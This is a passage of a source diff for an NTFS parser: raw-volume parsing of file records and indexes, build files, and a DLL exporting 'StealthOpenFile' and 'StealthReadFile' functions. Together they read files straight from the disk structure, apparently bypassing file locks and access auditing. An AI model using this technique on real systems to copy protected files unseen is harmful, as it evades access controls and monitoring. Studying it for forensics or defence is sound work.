|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse all the attributes in a File Record
|
||||
// And insert them into a link list
|
||||
BOOL CFileRecord::ParseAttrs()
|
||||
{
|
||||
_ASSERT(FileRecord);
|
||||
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
|
||||
// Visit all attributes
|
||||
|
||||
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
|
||||
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
|
||||
dataPtr += FileRecord->OffsetOfAttr;
|
||||
|
||||
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
|
||||
{
|
||||
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
|
||||
{
|
||||
if (!ParseAttr(ahc)) // Parse error
|
||||
return FALSE;
|
||||
|
||||
if (IsEncrypted() || IsCompressed())
|
||||
{
|
||||
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
dataPtr += ahc->TotalSize;
|
||||
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Install Attribute raw data CallBack routines for a single File Record
|
||||
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CFileRecord::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
// Choose attributes to handle, unwanted attributes will be discarded silently
|
||||
__inline void CFileRecord::SetAttrMask(DWORD mask)
|
||||
{
|
||||
// Standard Information and Attribute List is needed always
|
||||
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
|
||||
}
|
||||
|
||||
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
|
||||
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
|
||||
{
|
||||
_ASSERT(attrCallBack);
|
||||
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
{
|
||||
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
|
||||
{
|
||||
const CAttrBase *ab = AttrList[i].FindFirstEntry();
|
||||
while (ab)
|
||||
{
|
||||
BOOL bStop;
|
||||
bStop = FALSE;
|
||||
attrCallBack(ab, context, &bStop);
|
||||
if (bStop)
|
||||
return;
|
||||
|
||||
ab = AttrList[i].FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Find Attributes
|
||||
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
|
||||
}
|
||||
|
||||
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
|
||||
}
|
||||
|
||||
// Get File Name (First Win32 name)
|
||||
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
|
||||
{
|
||||
// A file may have several filenames
|
||||
// Return the first Win32 filename
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
while (fn)
|
||||
{
|
||||
if (fn->IsWin32Name())
|
||||
{
|
||||
int len = fn->GetFileName(buf, bufLen);
|
||||
if (len != 0)
|
||||
return len; // success or fail
|
||||
}
|
||||
|
||||
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get File Size
|
||||
__inline ULONGLONG CFileRecord::GetFileSize() const
|
||||
{
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
return fn ? fn->GetFileSize() : 0;
|
||||
}
|
||||
|
||||
// Get File Times
|
||||
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
|
||||
{
|
||||
// Standard Information attribute hold the most updated file time
|
||||
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
if (si)
|
||||
si->GetFileTime(writeTm, createTm, accessTm);
|
||||
else
|
||||
{
|
||||
writeTm->dwHighDateTime = 0;
|
||||
writeTm->dwLowDateTime = 0;
|
||||
if (createTm)
|
||||
{
|
||||
createTm->dwHighDateTime = 0;
|
||||
createTm->dwLowDateTime = 0;
|
||||
}
|
||||
if (accessTm)
|
||||
{
|
||||
accessTm->dwHighDateTime = 0;
|
||||
accessTm->dwLowDateTime = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Traverse all sub directories and files contained
|
||||
// Call user defined callback routine once found an entry
|
||||
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
_ASSERT(seCallBack);
|
||||
|
||||
// Start traversing from IndexRoot (B+ tree root node)
|
||||
|
||||
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
// Visit subnode first
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
// Find a specific FileName from InexRoot described B+ tree
|
||||
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
// Start searching from IndexRoot (B+ tree root node)
|
||||
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return FALSE;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Find Data attribute class of
|
||||
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
|
||||
{
|
||||
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
|
||||
while (data)
|
||||
{
|
||||
if (data->IsUnNamed() && name == NULL) // Unnamed stream
|
||||
break;
|
||||
if ((!data->IsUnNamed()) && name) // Named stream
|
||||
{
|
||||
_TCHAR an[MAX_PATH];
|
||||
if (data->GetAttrName(an, MAX_PATH))
|
||||
{
|
||||
if (_tcscmp(an, name) == 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
data = FindNextAttr(ATTR_TYPE_DATA);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Check if it's deleted or in use
|
||||
__inline BOOL CFileRecord::IsDeleted() const
|
||||
{
|
||||
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
|
||||
}
|
||||
|
||||
// Check if it's a directory
|
||||
__inline BOOL CFileRecord::IsDirectory() const
|
||||
{
|
||||
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsReadOnly() const
|
||||
{
|
||||
// Standard Information attribute holds the most updated file time
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsReadOnly() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsHidden() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsHidden() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSystem() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSystem() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsCompressed() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsCompressed() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsEncrypted() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsEncrypted() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSparse() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSparse() : FALSE;
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume Implementation
|
||||
///////////////////////////////////////
|
||||
CNTFSVolume::CNTFSVolume(_TCHAR volume)
|
||||
{
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
VolumeOK = FALSE;
|
||||
MFTRecord = NULL;
|
||||
MFTData = NULL;
|
||||
Version = 0;
|
||||
ClearAttrRawCB();
|
||||
|
||||
if (!OpenVolume(volume))
|
||||
return;
|
||||
|
||||
// Verify NTFS volume version (must >= 3.0)
|
||||
|
||||
CFileRecord vol(this);
|
||||
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
|
||||
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
|
||||
return;
|
||||
|
||||
vol.ParseAttrs();
|
||||
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
|
||||
if (!vi)
|
||||
return;
|
||||
|
||||
Version = vi->GetVersion();
|
||||
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
|
||||
if (Version < 0x0300) // NT4 ?
|
||||
return;
|
||||
|
||||
#ifdef _DEBUG
|
||||
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
|
||||
if (vn)
|
||||
{
|
||||
char volname[MAX_PATH];
|
||||
if (vn->GetName(volname, MAX_PATH) > 0)
|
||||
{
|
||||
NTFS_TRACE1("NTFS volume name: %s\n", volname);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
VolumeOK = TRUE;
|
||||
|
||||
MFTRecord = new CFileRecord(this);
|
||||
MFTRecord->SetAttrMask(MASK_DATA);
|
||||
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
|
||||
{
|
||||
MFTRecord->ParseAttrs();
|
||||
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
|
||||
if (MFTData == NULL)
|
||||
{
|
||||
delete MFTRecord;
|
||||
MFTRecord = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CNTFSVolume::~CNTFSVolume()
|
||||
{
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(hVolume);
|
||||
|
||||
if (MFTRecord)
|
||||
delete MFTRecord;
|
||||
}
|
||||
|
||||
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
|
||||
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
|
||||
{
|
||||
// Verify parameter
|
||||
if (!_istalpha(volume))
|
||||
{
|
||||
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_TCHAR volumePath[7];
|
||||
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
|
||||
volumePath[6] = _T('\0');
|
||||
|
||||
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD num;
|
||||
NTFS_BPB bpb;
|
||||
|
||||
// Read the first sector (boot sector)
|
||||
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
|
||||
{
|
||||
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
|
||||
{
|
||||
// Log important volume parameters
|
||||
|
||||
SectorSize = bpb.BytesPerSector;
|
||||
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
|
||||
|
||||
ClusterSize = SectorSize * bpb.SectorsPerCluster;
|
||||
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
|
||||
|
||||
int sz = (char)bpb.ClustersPerFileRecord;
|
||||
if (sz > 0)
|
||||
FileRecordSize = ClusterSize * sz;
|
||||
else
|
||||
FileRecordSize = 1 << (-sz);
|
||||
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
|
||||
|
||||
sz = (char)bpb.ClustersPerIndexBlock;
|
||||
if (sz > 0)
|
||||
IndexBlockSize = ClusterSize * sz;
|
||||
else
|
||||
IndexBlockSize = 1 << (-sz);
|
||||
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
|
||||
|
||||
MFTAddr = bpb.LCN_MFT * ClusterSize;
|
||||
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Volume file system is not NTFS\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Read boot sector error\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
|
||||
IOError:
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(hVolume);
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if Volume is successfully opened
|
||||
__inline BOOL CNTFSVolume::IsVolumeOK() const
|
||||
{
|
||||
return VolumeOK;
|
||||
}
|
||||
|
||||
// Get NTFS volume version
|
||||
__inline WORD CNTFSVolume::GetVersion() const
|
||||
{
|
||||
return Version;
|
||||
}
|
||||
|
||||
// Get File Record count
|
||||
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
|
||||
{
|
||||
return (MFTData->GetDataSize() / FileRecordSize);
|
||||
}
|
||||
|
||||
// Get BPB information
|
||||
|
||||
__inline DWORD CNTFSVolume::GetSectorSize() const
|
||||
{
|
||||
return SectorSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetClusterSize() const
|
||||
{
|
||||
return ClusterSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetFileRecordSize() const
|
||||
{
|
||||
return FileRecordSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
|
||||
{
|
||||
return IndexBlockSize;
|
||||
}
|
||||
|
||||
// Get MFT starting address
|
||||
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
|
||||
{
|
||||
return MFTAddr;
|
||||
}
|
||||
|
||||
// Install Attribute CallBack routines for the whole Volume
|
||||
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CNTFSVolume::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
========================================================================
|
||||
CONSOLE APPLICATION : NTFSParser Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this NTFSParser application for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your NTFSParser application.
|
||||
|
||||
|
||||
NTFSParser.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
NTFSParser.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
NTFSParser.cpp
|
||||
This is the main application source file.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named NTFSParser.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// NTFSParser.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
/*
|
||||
* NTFS include files
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_H_CYB70289
|
||||
#define __NTFS_H_CYB70289
|
||||
|
||||
#pragma pack(8)
|
||||
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
#pragma pack()
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,161 @@
|
|||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "NTFS.h"
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
struct FileInfo_t
|
||||
{
|
||||
CNTFSVolume* volume;
|
||||
CFileRecord* fileRecord;
|
||||
CIndexEntry* indexEntry;
|
||||
CAttrBase* data;
|
||||
};
|
||||
|
||||
extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
|
||||
{
|
||||
FileInfo_t* fileInfo = new FileInfo_t;
|
||||
|
||||
string filePath = string(filePathCStr);
|
||||
_TCHAR volumeName = filePath.at(0);
|
||||
|
||||
fileInfo->volume = new CNTFSVolume(volumeName);
|
||||
if (!fileInfo->volume->IsVolumeOK())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//Parse root directory
|
||||
fileInfo->fileRecord = new CFileRecord(fileInfo->volume);
|
||||
fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION);
|
||||
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//Find subdirectory
|
||||
fileInfo->indexEntry = new CIndexEntry;
|
||||
int dirs = filePath.find(_T('\\'), 0);
|
||||
int dire = filePath.find(_T('\\'), dirs+1);
|
||||
|
||||
while (dire != string::npos)
|
||||
{
|
||||
string pathname = filePath.substr(dirs+1, dire-dirs-1);
|
||||
const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str();
|
||||
if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry)))
|
||||
{
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
if (fileInfo->fileRecord->IsCompressed())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
else if (fileInfo->fileRecord->IsEncrypted())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
dirs = dire;
|
||||
dire = filePath.find(_T('\\'), dirs+1);
|
||||
}
|
||||
|
||||
string fileName = filePath.substr(dirs+1, filePath.size()-1);
|
||||
const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str();
|
||||
if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry)))
|
||||
{
|
||||
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fileInfo->fileRecord->SetAttrMask(MASK_DATA);
|
||||
if (!fileInfo->fileRecord->ParseAttrs())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream();
|
||||
|
||||
return fileInfo;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining)
|
||||
{
|
||||
|
||||
if (fileInfo->data)
|
||||
{
|
||||
ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize();
|
||||
ULONGLONG fullDataLength = dataLength;
|
||||
|
||||
dataLength = dataLength - offset;
|
||||
if (dataLength > bufferSize)
|
||||
{
|
||||
dataLength = bufferSize;
|
||||
}
|
||||
if (dataLength > MAXUINT32)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD len;
|
||||
if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength)
|
||||
{
|
||||
*bytesRead = len;
|
||||
*dataRemaining = fullDataLength - len - offset;
|
||||
return 0; //Success
|
||||
}
|
||||
return 3;
|
||||
}
|
||||
return 2;
|
||||
}
|
||||
|
||||
|
||||
extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
|
||||
{
|
||||
delete (fileInfo->data);
|
||||
delete (fileInfo->indexEntry);
|
||||
delete (fileInfo->volume);
|
||||
delete fileInfo;
|
||||
}
|
||||
|
|
@ -0,0 +1,172 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>NTFSParserDLL</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
